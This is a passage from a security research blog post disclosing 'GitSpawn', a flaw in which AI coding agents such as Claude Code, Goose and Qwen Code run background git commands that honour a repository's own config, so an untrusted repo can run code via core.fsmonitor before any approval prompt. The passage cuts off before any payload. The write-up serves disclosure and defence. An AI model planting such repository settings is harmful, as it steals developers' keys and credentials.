GitSpawn: A Single Flaw Lets Untrusted Repos Run Code in Claude Code, and Others A security researcher found that AI coding agents, including Claude Code, Goose, Grok Build, Hermes, and Qwen Code, run git commands in the background without sanitizing the repository's own configuration, allowing untrusted repositories to execute arbitrary code on the developer's machine before any approval prompt. The vulnerability affects at least seven agents, with eight findings total, four of which remain unpatched at publication; Claude Code alone ships over 77 million npm downloads per month, and the affected projects collectively hold nearly half a million GitHub stars. Eight findings across seven agents. Four remain unpatched at publication. Update, 1 September 2026.OpenAI's Codex and Cursor were also affected. We tested and reported both; each came back as a duplicate of a report another researcher had already filed, and both have since been patched. The Codex variant differs somewhat in mechanism but belongs to the same class. Neither is written up separately below; the case studies cover the findings where we could show the full chain ourselves and where the disclosure record was worth documenting. Open a folder with Claude Code and it runs git status before you type anything. Before the workspace-trust prompt. On some agents, before you have even authenticated. If that folder came from somewhere else, the repository decides what that command runs. TL;DR What it is. AI coding agents run git commands in the background to gather context, on some agents before you type a prompt, before the workspace-trust prompt, before you have even authenticated. Improper sanitization in this context-gathering mechanism is a widespread security vulnerability across AI coding agent products, each ending in arbitrary code execution. What an attacker gets. Arbitrary code execution as the developer, outside the sandbox, with no approval prompt and nothing on screen. Their SSH keys, the cloud credentials in their environment, the tokens in their shell config, every repository on disk, and a foothold on the machine. How widespread. Not one vendor’s bug. Claude Code ships over 77 million npm downloads a month as per npm API https://api.npmjs.org/downloads/point/2026-07-28:2026-08-27/@anthropic-ai/claude-code . Across the five projects, Hermes carries over 237,000 GitHub stars, Claude Code 143,000+, Goose 54,000+, Qwen Code 27,000+ and Grok Build 26,000, close to half a million together. On publishing unpatched. Four of the eight findings are still live. Every one was reported privately, re-confirmed on a current release before publication, and either acknowledged by the vendor or chased across multiple channels without reply. Five of our reports came back as duplicates of findings other researchers had already filed independently, one on the same day as ours. This is being found from more than one direction. One question This research began with a single question: what does a CLI AI agent actually do when it starts up? What happens under the hood? Upon looking at several AI agents, we observed the same behaviour, they gather context about the project they have just been opened in. A good part of that gathering is done with git , called for different purposes at different moments, some on start-up, some once the session begins. Looking at how git is used, we found a vulnerable pattern. Those context-gathering calls ran without stripping the repository's own git configuration, and several git settings are command execution sinks. The repository names a command, git runs it, on the host, with the user's privileges, before any approval prompt. This post covers only a few of them, Claude Code, Goose, Grok Build, Hermes and Qwen Code. We found it in more agents than we name here. The git you didn't run What an agent asks git for depends on what it is trying to do. It might want the current branch, and which files have been modified or staged. It might want the files a change touched, or every path the repository tracks, or a fresh worktree for a sub-agent to work in. Two samples out of many, from different products: git status --porcelain=2 --branch git diff --name-only HEAD Neither is unusual. Both are the sort of command you would write yourself. And both, like most git commands that touch the working tree, make git refresh its index first. That refresh is the sink. core.fsmonitor is a performance setting for large repositories. Instead of checking every file on disk, git asks a helper program what changed, and runs it during an index refresh. Documented, intended behaviour. Git reads that setting from the repository's own .git/config . So a repository can ship this: core fsmonitor =